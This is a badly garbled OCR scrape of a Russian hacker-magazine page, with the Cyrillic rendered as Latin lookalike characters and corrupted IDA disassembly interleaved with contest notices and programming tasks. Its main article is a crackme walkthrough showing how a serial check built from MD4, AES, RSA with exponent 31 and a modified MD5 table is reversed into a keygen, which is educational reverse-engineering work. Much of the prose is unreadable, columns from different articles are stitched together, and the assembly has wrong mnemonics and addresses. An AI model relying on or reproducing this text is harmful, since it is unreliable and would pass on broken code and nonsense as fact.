1 NOTUHECKMX OMepaumii, B KOTOPbIX Kak pa3d MCMosb3yloTcs BCe
yeTbipe Konuu npeobpa3oBaHHOMO ABOWHOMO C/IOBa B KayecTse
BPEMEHHbIX MePEMEHHbIX.

BollweonuncaHHble onepauun no-

-text 004687DDE

* .text:0B4B7DEE 8B 7C 24 14 moy edi,
* .text:@8487DEC 81 E2 68 FF 68 68 and edx,
* _text:88487DF2 8B 5C 24 BC mov ebx,
* .text:88487DF6 C1 EE 18 shr esi,
* _text:88487DF9 C1 E7 18 shl edi,
* .text:88487DFC BB CE or ecx,
* .text:@88487DFE 6B D7 or edx,
* .text:08487EGB C1 ET 68 =hr ecx,
* .text:0B407EB3 C1 E2 68 shl edx,
* .text:08487EA6 BB Ch or eCcx,
* .text:08407EBE 33 D2 Xor edx,
* .text:0B4B7EBA 89 8C 24 BA 61 B8 68 moy

* .text:-88L4B7E11 33 Fb Xor

[esp+268h+conu_dword_temp_EC_AllocatedCtx3?]

BFF 86h
[esp+268h+hig_aes_serial]
16h

18h

esi

edi

8

8

edx

edx

[esp+268h+rotated_serial@AES], ecx
esi, esi

BTOPSIOTCA eLle Tpu pasa (Bcero ux
4yeTblpe), U Mbl MONy4aem B CTeke
MaccCuB, MOJIHOCTLIO MOBTOPSOLWNA
BBEAEHHbII B TEKCTOBOE MNoJsie ce-
PUAHBLIA HOMEP, HO YXe B LWecTHaa-
uarepuyHom Buae. Takum o6pasom,
BCE 9TV nNpeobpas3oBaHus 1 pa3Bo-
POTbI HYXHbI NULLL AJ151 TOrO, 4TOObI
ckoHBepTupoBaTtb ASCII-BBOA B CO-
OTBETCTBYIOLLME AAHHbIE.

Tenepb Mbl, NO-BUAMMOMY, MO-
AOWAN K OCHOBHOW 4acTu, Tak
Kak Bce, 4To ObINo paHee, BCEro nuLlb
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TUWEITISY TT ES TE T Tax, T -
10467353 OF B6 OC 85 90 59 56 00 movzs  ecx, ds:AES_FT1[eaxxh] BB18EC28 12 rotated_serial@AES db 12h
100407358 OF B6 46 FF mouzx  eax, byte ptr [esi-1] o
* .text:80840735F 8B OC 8D 90 4D 58 00 moy ecx, ds:AES_RTO[ecx=4] BO18EC21 34 db 34h g b
* .text:00407366 6F B6 O4 85 00 50 58 00 mouzx  eax, ds:AES_FT1[eax=y] BB18EC22 56 dbh 56h ; U
* .text:BB40736E 33 OC 85 90 45 58 00 Xor ecx, dvord ptr ds:AES_RT2[eaxxh] -
¢ .text:8B487375 OF B6 C2 movzx  eax, dl BB18EC23 78 db 78h s A
* .text:00407378 8B 56 02 mou edx, [esi+2]
* .text:00840737B OF BG 04 85 90 59 58 00 mouzx  eax, ds:AES_FT1[eaxx4] 9818EC24 12 l‘ntated_duul‘d2 db 12h
* .text:00407383 33 OC 85 90 41 58 00  xor ecx, duord ptr ds:AES_RT3[eax=] AB18EC25 34 dbh 34h ; 4
* .text:00840738A OF BG 06 mouzx  eax, byte ptr [esi] -
* .text:B040738D OF B6 G4 85 90 59 58 0O movzx  eax, dS:AES_FT1[eax=4] B818EC26 56 db 56h E u
* .text:B0407395 33 6C 85 90 49 58 09 Xor ecx, ds:AES_RT1[eaxx=4] BB18EC2T 78 db T8h : =
¢ .text:8648739C 8B C2 mov eax, edx t
* .text:0040739E C1 ES 18 shr eax, 18h
B918EC28 12 rotated_dword3 db 12h
* .text:9084073A1 89 4E FE moy [esi-2], ecx -
* .text: 00407304 OF B6 OC 85 00 59 58 00 mouzx  ecx, ds:AES_FT1[eax=y] BO1BEC2? 34 db  34h ; 4
* .text:084873AC BF B6 46 03 movzx  eax, byte ptr [esi+3] BO18EC2A 56 db 56h ; U
* .text:004073B6 8B OC 8D 90 4D 58 00  mouv ecx, d5:AES_RTO[ecx=y] .
* .text:B04073B7 BF B6 B4 85 90 59 58 B0 mouzx  eax, ds:AES_FI1[eax=y] 0018EC2B 78 db  ¥8h ; =
* .text:884873BF 33 GC 85 98 45 58 0@ Ror ecx, dword ptr ds:AES_RT2[eaxxh]
* .text:004O73C6 OF BO 46 04 mouzx  eax, byte ptr [esi+h] B818EC2C 12 rotated_duwordh db 12h
¢ .text:004073CA G6F B6 O4 85 00 59 58 00 mouzx  eax, ds:AES FTi[eax=h] AA18EC2D 34 dbh 34h ; 4
* .text:004073D2 33 OC 85 90 49 58 00  xor ecx, ds:AES_RT1[eax=y] .
* .text:B84873D9 BF B C2 mouzx  eax, dl B818EC2E 56 db 56h ; U
° .text:004073DC 8B 56 06 mou edx, [esi+6] BE18EC?F 78 db 78h - x
:text;nﬂuﬂnﬂ? GetEmaillen: ; CODE XREF: CheckUalid+AD!
* .text:00uBB177 8A O1 noy al, [ecx]
noaroToBKa KOPPEKTHbIX BXOAHbIX AaHHbIX. ELLI,e pa3 — BXOOHblE © .text:0864O8179 41 inc ecx
. * .text:06u8817A 84 CO test  al, al
NaHHble, K NpUMepy, Takasi CTpoka: * .text:BB46817C 75 F9 jnz short GetEmaillen
* .text:0OMBB17E 2B CE sub ecx, esi
* .text:004B8180 51 push  ecx ; ecx == email length
1234567890ABCDEF1234567890ABCDEF1234567890ABCDE * _text:00408181 8D 4C 24 24 lea ecx, [esp+r26Ch+nds_ctx]
* .text:@86u88185 E8 46 OF 00 00 call  HDalInit
F1234567890ABCDEF ° .text:OOMBS18A 8D 54 24 24 lea edx, [esp+26Ch+mdl_ctx]
° .text:OOLBS18E 8D BC 24 Ck 01 00 00  lea ecx, [esp+26Ch+HD4ResultHash]
o * .text:06488195 E8 E6 OF 00 00 call  CalcHDa 8
npeo6pasyioTcs B MaccuB pa3mepom 16 6aiT: .text:BLBAR195 ; gets ESI as input string
.text:00468195 B
* .text:OOuB819A 8D 84 24 BC 00 00 00  lea eax, [esp+26Ch+ReversediDsHash]
12h, 34h, 56h, 78h. 906h, @ABh, OCDh, @EFh, 12h, ¢ -text:064681A1 50 push  eax
¢ .text:084881A2 8D 8C 24 C8 @1 06 68 lea ecx, [esp+27Bh+MD4ResultHash]
34h, 56h, 78h. 96h, @ABh, @CDh, @EFh * .text:00uB81A9 E8 12 F1 FF FF call  RES_SetDecryptkel
* .text:OOLBS1AE 8D 84 24 CO 00 00 00  lea eax, [esp+270h+ReversediDuHash]
* .text:064881B5 8D 94 24 BE 01 00 88  lea edx, [esp+276h+rotated_serial@AES]
YyTb HMXE NO KOOy MAET 3anofiHeHVe JIOKasIbHbIX NepemMeH- * .text:@64881BC 50 push  eax
* .text:0OMB81BD 8B CA noy ecx, edx
HbIX GOSIE€ YEM W3BECTHBLIMU (KTO HE 3HaN — MOUCKOBUKM B MO- © .text:8BuB81BF ES EC FZ FF FF call  AES_Decrypt ; edx == ptr to decrypt
MOLLb) KOHCTaHTamu: 67452301h, OEFCDAB89h, 98BADCFEh, -text : 004681BF i eax == state?
10325476, 3111 KOHCTaHTBI NCMONL3YIOTCH ANS MHNLMANN3ALMN TG G 7y ST AT TGS ST, I S WS I 99T
- - - -rdata:80585590 B8 6B D3 B8 14 28 3C 14+db 29h, 8BOh, 9%h, 2Dh, 5ah, 77h, 2Dh, OFh, 1Eh, 11h, 8Fh, 6BBh, 7Bh, OCBh; 997
pacqua xew CyMMbI no anropMTMaM SHA 1' MD4' MD5' SHA 1 .:d:t::ﬂ“SBSSQH DE A7 79 DE 5E BC E2 SE+db 8BBh, 54h, BA8h, BFCh, 54h, BBBh, 6Dh, BD6h, BBBh, 16h, 2Ch, 3Ah, 16h; 1811
g Cpagdy OTMEeN, NOCKONbKY HE Hallen B KoAe NATYIO KOHCTaHTYy — ¢ .rdata:0585990 63 63 C6 A5 7C 7C FB B4+AES_FT1 db 2 dup(6Ph), OC6h, BASh, 2 dup(7Ch), OFSh, B4h, 2 dup(77h), BEEh, 99h; O
’ -rdata:80585000 77 77 EE 99 7B 7B F6 8D+ 5 DATA XREF: AES_KeyExpansionsDATr
OxC3D2E1F0. Tak kak aanbLue Wwniv ase dYHKUMK, NPpUHUMatoLWme _rdata:0e585990 F2 F2 FF 0D 6B 6B D6 BD+ ; AES_KeyExpansion+153tr
o " -rdata:08585998 6F 6F DE B1 C5 C5 91 54+  AES_SetDecryptkey+93tr
Ha BXO}:L yKaSaTenb Ha BBeﬂeHHb]M ema]l n ero ’uﬂMHy (KOTOpaﬂ .rdata:80585990 30 36 68 50 61 81 62 83+ H ﬁES_SEtDEtryptKEyfnhfr
o .rdata:80585998 67 67 CE A? 2B 2B 56 7D+ ; AES_SetDecryptKey+BBTr
CHUTaEeTCd TamM )Ke), TO 9 HEe COMHeBaJiC4, 4TO nepeno MHOWM napa -rdata:00585990 FE FE E7 19 D7 D7 B5 62+ 5 AES_SetDecryptey+CDTr
o - -rdata:80585000 AB AB 4D E6 76 76 EC OA+ ; AES_SetDecryptkey+Eufr
dyHkunn — MDxUpdate/MDxFinish. He myapcTeys nykaso s Ha- _rdata:ge585990 CA CA SF 45 82 82 1F 9D+ : AES_Setbecryptkey+F7ir
~ . -rdata:00585998 €9 C9 89 48 7D 7D FA 87+  AES_SetDecryptkey+1oatr
LUEeN OHNAH-KanbKynsaTop Xew-cymMmm, BBen 1am email n cpaBHun _rdata:06585990 FA FA EF 15 59 59 B2 EB+ s AES_SetDecryptiey+11FTr
~ .rdata: 80585990 47 47 8E C? FO F8 FB 6B+ ; AES_SetDecryptKey+136Tr
NOMy4EHHbIN xew[c], CO 3Ha4eHrem xewa B oTnagyuke. JT0 oka- .rdata:6e585990 AD AD 41 EC D4 D& B3 67+ 3 AES_SetDecryptiey+149Tr
-rdata:80585000 A2 A2 SF FD AF AF U5 EAs ; AES_SetDecryptey+15cTr
3anca MD4. _rdata:6e585990 9C 9C 23 BF A4 AN 53 F7+ : AES_SetDecryptKey+1711r
-rdata:805859908 72 72 E4 96 €O CO 9B 5B+ 5 AES_SetDs they+r188T)
1 aKKypaTHO nomeyasn BCe JIoKaslbHbIe NepeMeHHble, NoaTo- CFdeta:00595990 B7 07 75 G2 Fb FD E4 10+ E nEs:S:tI)::z::tKEzMWT:
My 6b”_|0 Ol‘leBVI,D,HO, yTo ﬂ,Be CJ'Ie,D,yIOLLI,l/Ie ¢)yHKL',V|V| anHMMaDT .rdata:ee585990 93 93 3D AE 26 26 4C 6A+ ; AES_SetDecryptKey+1AETr
Ha BX0[, NocHuTaHHbIi MD4 o1 email’a n cepuitHbli Homep. «Ha-
BEPHSAKa Kakon-HMbyab kpuntorpaduyeckunii anroputm», — no- ®dparmeHt ®dparmeHt ®dparmeHt ®parment
aoyman s. B HUX 9 BCTPETUN MMraHTCKoe KOJIMYECTBO pacyeToB namsaT¥ B OTNagum- KoAaa, KOoTopbIi dYHKUMn AES _ 0 HOTO U3 NpoumMe-
1 nepectaHOBOK. Peann3oBbiBaTh anroputm «B 106», MArKoO ro- Ke, coaepxalmin oTBEuYaeT 3a pacueT SetDecryptKey HOBaHHbIX MaCCUBOB
BOpS, HeaPPEKTUBHO, NOSTOMY A NMoLlen NPOCTbIM NyTeEM — Ha- CKOHBEpPTUPOBaH- MD4 o1 noutbin C NPOMMEHOBaHHbI- nepectaHoBok AES
yan 3abmBaTh B NOVCKOBUKAX NepBble 6aiTbl MaCCMBOB, HA KOTO- HbI/i CepPUIHBIA KPUNTOBKY CEPUtHM- MU yKazaTensammn
pble BeAyT ykasatenu na atux GyHkumuin. Cpasy xe Halliencs oouH Homep Ka c nomotubio AES
13 MaccuBOB NepecTaHoBok anroputma AES, a B TeueHune necatm
MUHYT 9 Hawesn n npoMMeHoBan Bce HeO6XO,EI,I/IMbIe MacCuBbl —
RTO-RT3, FTO-FT3, RCON, InvSBox. OHu, kctatu, naoyt apyr «Error: elliptic curve routines:» 1 cnucok dyHKUMIiA, paboTaloLLmMX
3a gpyrom. Hanuune maccusa InvSBox roBopuT 0 TOM, 4TO MC- C ANANNTUHECKUMU KPUBLIMU, 13 GubnnoTtekn OpenSSL.
nonb3dyetca AES_Decrypt, a He AES_Encrypt. 9 pewwun npose- 9 cpasy xe nogyman: «[eno B wnsine, octanoCb TOJIbKO
PUTb MOU NPeanonoXeHna N Hakngan nNnPoCTeHbKYKD nNporpamMmm- NMOU3MEHATb X0 nporpamMmbl Tak, 4TOObI BbI3bIBAJICH KOO 06-

Ky Ha C, koTopasi cumTaeT MD4 oT CTpOKM, a 3aTeM BbINOJIHAET
AES_Decrypt Hag npeo6pa3oBaHHbIM CEPUINHBIM HOMEPOM, UC-
NnoJib3ys NOCYMTaHHbIV XeL B kayecTBe 128-6utHoro knoya. Bee
COBMasno Co 3HaYEeHNEM, NoJy4eHHbIM B OTnaa4umke. Kak nokaxer
nanbHenwnin pasbop, MCnoNb3oBaTb CBOKD COOCTBEHHYIO Mpo-

rpamMmKy A5 BOCNpPOU3BELEHNS NOBEAEHUS crackme oka3anoch 3A" C"ABbI HOBEHMTE"M 3AﬂALI

OYeHb XopoLuen naeen.

Takum 06pa3om, Ha AaHHbIi MOMEHT Mbl UMEEM: Tpy-KpsSIKepoB 1 NPOCNaBw, a YTO HacyeT pewiatenein I
3apa4y? OnyGAuMKYI0 MONHbIA CMUCOK, CTPaHa AOJDKHA
md4_email = MD4(email); 3HaTtb repoes! Kctatu, npuasl ot «Jlabopartopuu Kacnep-
decrypted_serail = AES_Decrypt CKOro» nosy4art Bce nepevymciieHHble ruraHTbl MbiCNIN —
(serial, md4_email,128); KTO JINYHO, A KTO M MO NnoYTe. TN NapHN He CKPbIBAIOT CBOUX amMu-
nnii, BOT oHn: UHHOKeHTUiA CeHHOBCKUIA (Obl1 NepBbIM, NPOCNABIEH
A panblue Ha4anocb CaMOE MHTEPECHOE, HA YTO MHE MPULLNIOCH B NpouioMm Homepe), Bauecnae BaaukoB, XXeHs KoHoBanoB, AHTOH

noTpaTUTb N3PSAHOE KONNYECTBO BpeMeHU. NepBbiM AENOM Moe BospkuH, Hukonait CaBuyeHkoB, Amutpuii UBaHoB, [leHnc CTpaxkKoB.
BHUMaHWe NpuBMeEK ykasartesb Ha KNnacc/CTPYKTYpy, KOTOPbIA UC-
Nob30BasICs BO BCEX NOCNEAYIOLNX DYHKUMAX. B kKaxa0M 13 Bbl-
30BOB 6blIN NpoLenypbl, NCMOMb3YIOLWME, B YaCTHOCTA, CTPOKY
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I]PEﬁSSL_Func_List dd offset a_ec_group_geth |

* .data:B805A3008 18 BC 55 B0

-data:0685A3 0608

-data:0685A3 0608

-data:8685A3 0608

-data:885A3 0608

-data:865A30808

-data:865A30808

-data:865A3 0608

-data:865A3 0808
* .data:085A3004 29 AC 55 @0 dd offset a_ec_group_get_
* .data:085A3008 3D BC 55 A8 dd offset a_ec_group_ge_@
* .data:@685A306C 54 O8C 55 680 dd offset a_ec_group_set_
* .data:0685A3018 6D BC 55 680 dd offset a_ec_group_ge_1
* .data:0685A3014 86 O8C 55 680 dd offset a_ec_group_se_@
* .data:0685A3018 9E O8C 55 60 dd offset a_ec_group_ge_2
* .data:0685A3061C B6 BC 55 680 dd offset a_ec_group_se_ 1
* .data:0685A3020 DA BC 55 680 dd offset a_ec_group_ge_3
* .data:005n3024 FE OC 55 60 dd offset a_ec_group_se_2
* .data:0e05n32028 11 6D 55 60 dd offset a_ec_group_ge 4
* .data:0e5n202C 25 6D 55 60 dd offset a_ec_group_ge 5
* .data:005A3030 3C 8D 55 60 dd offset a_ec_group_se_3
* .data:005A3034 54 6D 55 60 dd offset a_ec_group_ge_6
* .data:005n3038 6C B0 55 60 dd offset a_ec_group_se_ 4

DATA XREF: .text:peae1875Tr
-text:oeuodoFytr
sub_uai3ng+upte

mirvar+8ctr

mirvar+ieutr

sub_u@1FF g+283Tr
sub_u@iFFa+301Tr

" _EGC_GROUP_get®_generator®
" _EC_GROUP_get_order™

" _EC_GROUP_get_cofactor™
" _EC_GROUP_set_curve name
" _EC_GROUP_get_curve name
" _EC_GROUP_set_asni1_flag"
" _EC_GROUP_get_asni1_flag"
" _EC_GROUP_set_point_conversion
" _EC_GROUP_get_point_conversion
" _EC_GROUP_set_seed™

" _EC_GROUP_getd_seed”
"_EC_GROUP_get_seed_len™

" _EC_GROUP_set_curve_ GFp™

" _EC_GROUP_get_curve_ GFp*

" _EC_GROUP_set_curve GF2Zm"

paboTymka owmnbok». To Aano 6bl MHE BO3MOXHOCTb Y3HaTb
MIMeHa BCEeX Bbl3bIBAEMbIX QYHKLMIA, UCNONL3YIOLMX 3TOT Knacc.
Ho Mos npes He cpaboTtana — nepsble YeTbipe GyHKUUU, NpuU-
HUMaLME Ha BXOA, OAWMH napamMeTp W Bbloensiowmne namsTb,
«COOTBETCTBOBAJIM» KAKMM-TO HEpeasibHbIM BbIYUCNEHUSAM C 91~
NUNTUYECKMMU KPUBLIMU. Ha Kakoe-To BPeMS s peLuns OCTaBUTb
3TOT cNoco6 1 MOCMOTPETb KO, PACMONOXEHHbIN HUXeE. Hecmo-
TPS HA TO YTO S HE 3HAN TOYHbIX UMEH QYHKLMIA, MHE YAAN0Ch Bbl-
SAICHUTb, YTO B BbIAENIEHHYIO NaMATb KONMpyeTcsl 3almndpoBaH-
HbIi CepuiiHMK 1 maccus B 512 6anT. A 4yyTb Aanblue MesnbkaloT
KOHCTaHTbl 31 1 65537. 3710 cpasy xe HaBeno Ha Mbicsb 06 RSA,
Tak kak 31 n 65537 — npocTble yMcna, ncnonb3yemMblie B kaye-
cTBe aKCMNoHeHTbl Npu RSA-npeobpasoBaHusx. A 512-6aiiTHbli
MacCuB MOXET MCMONb30BaTbLCH B Ka4eCTBE MOAYSISA, TO €CTb 9TO
MoxeT 6blITb RSA-4096, HO HM4Yero, 4To Obl ykasblBano Ha one-
paumm ¢ aNAUNTUYECKMMU KPUBLIMW. 9 BEPHYJICS K aHann3y 6u-
6nnotekn OpenSSL — npoluepcTun BCe 3aronoBoYHble darinbl
N UCXOOHWKW, HO HE Hallen HU CTPYKTYP, NOAXOAALMX NoL Te,
4YTO BO3BPALLAIOTCS MO OTIAAYMKOM, HU nopxonsiiero obpa-
60T4MKa oWNBOK — 0BHAPYXMBANOCh AOCTATOYHOE KOJIMYECTBO
HECTbIKOBOK, HW BE34EeCyLLero knacca uim CTpykTypbl, KOTOPbIA
6bl BCTpeyancs B kaxaon dyHkumu. Torga s nones B MHULMaNN-
3auMmo 3TOro knacca (/Ierko MLETCS MO CCblIKam) U TaM OXU-
naemMo o6Hapyxun BblaeneHne HeobxoaMMoro oobema namsaTu
1 3anoJsIHeHWEe ero 3/1eMeHTOoB. {1 Ha4yan nckaTb KOHCTaHTbI B UH-

IT-KOMMAHWW, LTUTE
HAM CBOW 3AAYKH!

Mwuccus aTot MMHU-pY6prkn — 06pa3osa-
TenbHasi, N03TOMY Mbl 6ecnnaTHo nyeavkyem
KayeCTBEHHbIE 3aa4KK1, KOTOPble Pa3fInyHbIe
KOMMaHuW NpeanaraloT comckartensm. Bl
LuneTe 3ajayku Ha — Mbl UX

ny6nvkyem. Hukakux akToB, [OrOBOPOB, 3KC-
nepTu3 1 OTY4ETHOCTEN. YuTatenam — 3agayku,
pewatensim — nNnogapkn, Bam — PeCnekT OT Ha-
LUEN MHOFOCOTTBICAYHOM ayauTOpUK, NapLum-
KaM — CTPOYKM OTYETHOCTM MO NyGANKaunsm

B TOMOBOM KOMMbIOTEPHOM XypHane.

dparmeHT pac-

MaKoBaHHOIo KPakmm,
coaepXaluii Ha3BaHus
6u6nmnotek 3 OpenSSL

DdparMeHT UHu-
uunanusaumm miracl

INFO

Jlio6onNbITHBIN YuTaTENDb
(Cnaga, 310 Xe «Xakep»,
Yy HacC BCe yuTatenn
no6onbITHIE ;). — MpuM.
pea.) Moxet 6e3 Tpyaa
«pacnoTpoLnTb» paiin
C NOMOLLBI0 YHKLN
npocmoTpa cTpok B Hiew
1 aHann3a pecypcos
npv nomouww PE Insider
(6biBLUKIA CFF Explorer).

TepHeTe, N C OOHOWN N3 HMX MHe noee3no — 1379BDF1 oGHapy-
xwunacsk B dparine MIRACL/source/mcore.c 6ubnuotekn MIRACL.
Bce BcTano Ha cBOM MecTa 3a napy AecsTKOB MUHYT — § Mpo-
CTaBWJI UMEHa UCNOoJNb3yeMbIX PYHKLUUIA U BOCCTAHOBW NOTUKY
6obLUeit YacTu Koaa.

Ecnu onycTuTb He caMylo MHTEPECHYIO YacTb Koaa (a To cTaTbst
CTaHEeT C/IMLIKOM CKY4HO 1 60NbLLIOI), BCe CBOAMTCA K onepaummn
RSA-wudposaHus:

C = serial@AESE mod N

roe serial @QAES — Halu BBeAEHHbI CepuiiHnK, AelundpoBaHHbI
AES’om, E — akcnoHeHTa, paBHaa 31, a N — moaynb, KOTOpbI
XeCTKO 3a6UT B Kpakmu. A 3aTemM peann3oBaH CeayloLLmin LuK:

for (int i=0; i<170; i++)

{
md5_c = md5[1](C + i*3, 3);[f]
If (cmp(md5_c, md5_array + i*3, 3))
break;

}

Ja, TyT ncnonb3yeTcs M3MEHEHHbI aBTOPOM KpakMu anro-
put™M MD5; Tak 4To Tebe HeobXxoaAMMO NOTPaTUTbL HEMHOTO Bpe-
MeHM Ha ero pa3bop, ecnm Xo4eTCsi BOCCTAHOBUTb OPUTMHASbHBbIA
anroputMm. 3gece md5_array — maccumB 13 cta cemumaecatn MD5
XeLL-CYMM, XeCTKO 3abuTbIx B paiine.

Opyrumn cnoBamu, nonyyeHHbln nocne RSA 512-6aiToBbii
MaccuB CpaBHMBaeTCsa no Tpu GaiTa ¢ 3afaHHbBIM MAaCCUBOM Xe-
wewn. B cnyyae xe ycnewiHoO NpoBepKM peBepcepy BbloaeTcs
MessageBox ¢ nosgpaBneHnem 1 BbIBoaUTCs coobuieHne Serial
is valid.

O4eBMAHO, 4TO BHa4Yane HeobxoaMMO BOCCTaHOBUTb KOPPEKT-
Hoe 3HaveHne C, a noToMm serial @AES 1 HeOOXOAUMBI CEPUAHNK.
CxemaTnyHO 3TO BbIMMAAUT Cneayowmm o6pa3om:

email - MD4 -> email@md4;

serial -> AES_Decrypt(email@md4) -> serial@AES;
C = RSA(serial_AES);

md5_C = MD5(C);

Ecnun GyneTt koppekTHbIi serial®AES, To ¢ nomotusio AES_
Encrypt (o6patHasa onepauusi) NofyymTcs COOTBETCTBYIOLLMIA Ce-
PUIAHBIA HOMepP. NHbIMX cnoBamMun, NONY4YUTCS caenatb KereH —
ona no6oro BBeAEHHOro email’a MOXHO CreHepuTb BanuaHbI
CEepPUHKK.

BoccraHoBuTb MaccuB C, 3Has MaccvB Pe3ynbTUPYIOLLIMX
Xelei, He cocTaBwio Tpyaa. A nmpocTo peanusoBasn nepebop
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OT EMBARCADERO

[MpaBunbHblE peweHns 3agad wam Ha Fedor
Usakov ( ). Mpn3 — knioy
onst Appmethod — cpegnpl paspabotku gns
Windows, OS X, iOS, Android, ¢ nOMOLLbI0
FireMonkey.

28 * 3 * 170 BapnaHTOB. JTO 3aHANO HA MOEM JOMALUHEM KOM-
NblOTEPE OKOJIO NSATU MUHYT, U S NOYYNST HEOOXOAUMBIA Maccus
C, HO 6e3 aByx nocnenHux 6ainT. OcTanocb CamMoe HEMOHATHOE —
KaKk BOCCTaHOBUTb serial @AES n3 ypasHeHuss C = serial @QAESE
mod N, nmes Ha pykax BCe ocTasibHble nepemMeHHble? Jnsa aToro
Ha[o 3HaTb 0OPATHYK 3KCMOHEHTY d, TOrga MOMyyYUTCsl PELnTb
ypaBHeHue
serial@AES = Cd mod N;

K coxaneHuio, UMeHHO CTIOXHOCTb nosly4eHunst d u onpenensiet
BCIO KpunTocTonkocTb RSA4096. Y106kl B 106 NocumTaTh d, HE06-
XOAMMO PeLUnTb YpaBHEHNE
d = e-1 mod (d(n)),
roe ¢(n) — dyHkuma dinepa, Bo3BpaLLAlOLLAs KOMYECTBO Ha-
TypasbHbIX YACEN, ABASIOLUMXCS B3aUMHO NPOCTbIMK C N. VIMeH-
HO TPYOOEMKOCTb BblYMCNEHUS DYHKUMN Diinepa cTaBuT B TYNuK
COBPEMEHHbIE KOMMbIOTEPLI. 1 Nonpo6oBan GakTopm3oBaThb (Tak
Ha3bIBAETCS BblYUCEHNE PYHKUNN DNepa) MMEIOLNIACS MOAY b
N, HO 3a napy 4acoB HMYEro He BbILLIO, TAaK YTO S Ha4Yan nckatb
npyrve pewexusi. Ataka BuHepa Takxxe He npuHecna pesynbTa-
TOB.

MeHa He nokupana MbICilb, YTO MyTb K PELUEHMIO KPOEeTCs
B MOJly4eHHOM 3HaveHumn C. ATOT MaccumB HaunHaeTcs ¢ 18 Hynew,
4YTO HECKOJIbKO HEOOLIYHO — BPSA, N Clly4ainHoe Yn1cno Obi1o Obl
Takum. Torga s cpaBHun Yncna serial @AESE n N. buxro! Mepsoe
YMCNIO 0Ka3aNoChb MeHbLUE, a 3TO O3HAYaeT, HTO MOAYJb BOOOLLE
He yyacTByeT B onepauumn RSA-wndposaHus.

JenctButensHo, BO3bMEM MNpoOCTo npumep: 5 mod 7 = 5;
OPYrMM cnoBamu, NsiTb NOAENUTL HA CEMb MOJYYUTCS HOMb Lie-
NbIX 1 NATb B OcTaTtke. MHaye roBopsi, BCS CNOXHOCTb RSA ynety-
yunacb. OCTanochb PeLnTb M3 YNPOLLEHHOrO NEPBOr0 YpaBHEHUS
nonyynTb serial@AES:

73

¥ _text:068408Z21A1 C7 86 9C 08 6@ A8 55 S55+mou dword ptr [esi+9Ch],
¢ .text:004021AE C7 DB 78 56 34 12 mow dword ptr [eax],
¢ .text:004821B1 BF b7 00 88 88 mow edi, 7
* .text:804821B6 EE BB jmp short loc_hB21CH
_text:884821B6 H
* .text:p04021BE 8D A4 24 68 BA 00 88 98 align 16h
-text:@8046821CH
.text:884821CH loc_ho21CH: H
_text:884821CH H
¢ .text:8046821CH6 8B 10 nov edx, [eax]
* .text:0884821C2 8B 48 FC mov eck, [eax-4]
* _text:884821C5 8D 8C 11 F1 BD 790 13 lea ecx, [ecx+edxz+ ]
¢ .text:@eu@21CCc 8D 94 11 F1 BD 79 13 lea edx, [ecx+edx+ ]
¢ .text:004821D3 89 48 04 nov [eax+h4], ecx
* _text:0884821D6 8D 8C B8A F1 BD 79 13 lea ecx, [edx+ecx+| ]
* _text:0884821DD 20 50 B8 mov [eax+8], edx
* .text:004821E8 8D 94 11 F1 BD 79 13 lea edx, [ecx+edx+ 1
¢ .text:004821E7 89 50 18 nov [eax+1Bh], edx
* _text:0884821EA 8D 94 B8A F1 BD 79 13 lea edx, [edx+ecxk+ ]
* _text:004821F1 80 LE OC mou [eax+OCh], ecx
¢ .text:004821F% 89 50 14 mow [eax+14h], edx
¢ .text:004821F7 83 Ch 14 add eax, 14h
* .text:8084821Fn 2B FD sub edi, ebp

MpaBubHbIE OTBETHI MPUCHINAN NN MHE, UV Ha aapec NPeACcTaBUTeNs KOM-
NaHum, KOTOPbIN MOXET ObITb YKa3daH B CTaTbe (B 3TOM HoMepe — shishkov@
beom.ru). MNoatomy Tebe NpUAETCS He TONbKO PeLUnTb 3aJauKy, HO U A04N-
TaTb CTaTbIO A0 KOHLUA. He LyTka — WecTb CTPaHUL, Y1MCToro Tekcral

INFO

Tbl MOXELUb N poaenatb

T0 Xe camoe. Y1obbl

y3HaTb HOMep GyHKLMK,
CNefyeT NoHATb, kak pa-
6oraet makpoc MR_IN

B UCXOJHMKaX OMbnoTekn

MIRACL.

C = serial@AESE;

[na sToro A 3a mapy MWHYT Hanucan anropuTM, KOTOPbI
B UMK/e nepebupaet 216 BapMaHTOB (Hadech, Tbl He 3abbin NPo
nocnegHve asa 6aiita, KOTOpble BOCCTAHOBUTb HE yOanocb?)
1 ON8 Kaxaoro u3 Hux 6epeT kopeHb 31-i ctenexHn. Ecnun kopeHb
6epeTcs TOHYHO, 3TO O3HAYAET, HTO NOYHEHO MCKOMOE Yncno. byk-
BaJIbHO Yepes napy CEKYHA, S NONYy4Yns HyXKHOe 3HaveHne serial@
AES 1 no uenoyke, ONMCaHHOM Bbille, PACKPYTWUS BCE 40 CEPUI-
HMKa, KOTOPbIV HaA0 BBECTW B TEKCTOBOE MOJE A5 MPOXOXAEHUS
NpoBeEPKM.

9 cam Takoro He oxwupan, Ho, K MOEMY YOAMBIIEHUIO, BCE MO-
nysmnoce! 1 HapelC b, YTO KaxXAplil YATaTe b HaLLEero XypHana
06513aTeNIbHO UCMOMb3YeT 3Ty CTaTbio Kak PyKOBOACTBO K AeW-
CTBMIO 1 NonpobyeT camMOCTOATENbHO A0OUTLCS aHaNOrMYHOro
pesynbrara.

HOBbIE 3AJJA4YW: OT KOMMNAHWA EMBARCADERO

PewweHus peanusyiorca Ha RAD Studio XE6
(Delphi, C++ Builder), Appmethod.

Jana ctpoka «Hello, Embarcadero». He obpalias
BHMMaHUSi Ha MPOM3BOAMTENIbLHOCTb, Hanucatb
KaKk MOXHO GOfiblle BapUaHTOB, Kak MOMEHSATb
cCUMBONbI MecTamMmu B 0bOpaTHOM nopsake. Ba-
pUaHTbl MOTYT OTIMYATBCH /MWL CUHTAKCMCOM.
MoxHO wncnonb3oBaTb OGMONMOTEYHbIE YHKLUN
paboTbl CO CTPOKAMMW, HO AO/MKHbI ObiTb BapUaHTbI
1 6€3 HUX.

3agaHbl Tpn To4kM ¢ koopamHatamn x1, y1, z1, x2,

y2, 22, x3, y3, z3. OnpenennTb, NnonagaeT Nn To4ka
C KOOpAMHATAMK X, Y, Z B 3a[1aHHYIO MNJI0CKOCTb Tpe-
YronbHMKa, 06pa30BaHHOr0 MCXOAHLIMUN TOUKAMMU.

MpoBepuTb, ABNSIETCA NN LENOe YUCNO «CYacT-
nMBbIM Gunetom». Ecnm 4ncno MMeeT HeyeTHylo
OJIMHY, TO LEHTPasbHYI0 LMdpPY MOXHO OTOPOCUTD.
Ha npumepe wecTrn3HayHoro Homepa c4acTIMBbIM
